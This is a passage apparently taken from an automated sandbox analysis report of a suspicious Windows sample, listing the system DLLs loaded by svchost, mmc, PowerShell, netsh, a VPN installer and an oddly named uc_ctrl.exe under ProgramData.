Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mmcbase.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: ninput.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mmcndmgr.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: uc_guilib.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mmcbase.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: ninput.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mmcndmgr.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: userenv.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: propsys.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: dwmapi.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: oleacc.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: version.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: shfolder.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: wldp.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: profapi.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: riched20.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: usp10.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: msls31.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: textinputframework.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: coreuicomponents.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: coremessaging.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: coremessaging.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: textshaping.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: linkinfo.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: ntshrui.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: srvcli.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: cscapi.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: propsys.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: devrtl.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: spinf.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: drvstore.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: newdev.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: gpapi.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: cabinet.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpnpmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devrtl.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: devrtl.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: drvstore.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: devrtl.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: drvstore.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netsetupsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netsetupengine.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: implatsetup.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devrtl.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: spinf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: drvstore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll
